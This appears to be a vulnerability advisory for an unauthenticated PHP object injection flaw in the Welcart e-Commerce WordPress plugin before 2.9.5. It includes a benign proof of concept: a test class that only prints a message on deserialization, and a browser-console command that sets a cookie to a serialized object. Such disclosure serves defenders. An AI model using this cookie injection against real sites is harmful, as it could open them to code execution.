Welcart e-Commerce < 2.9.5 - Unauthenticated PHP Object Injection

2023-11-1000:00:00

Krzysztof Zając (CERT PL)

welcart e-commerce

gadget chain

plugin vulnerability

web developer console

unauthenticated exploit

7.6 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

43.4%

JSON

Description The plugin unserializes user input from cookies, which could allow unautehtniacted users to perform PHP Object Injection when a suitable gadget is present on the blog

To simulate a gadget chain, put the following code in a plugin:
class Evil {
    public function __wakeup() : void {
        die("Arbitrary deserialization");
    }
}

Then execute the command below in the web developer console of the browser when on the blog as unauthenticated:

document.cookie='usces_cookie=O:4:"Evil":0:{}'

Refresh the page to see the 'Arbitrary deserialization' message displayed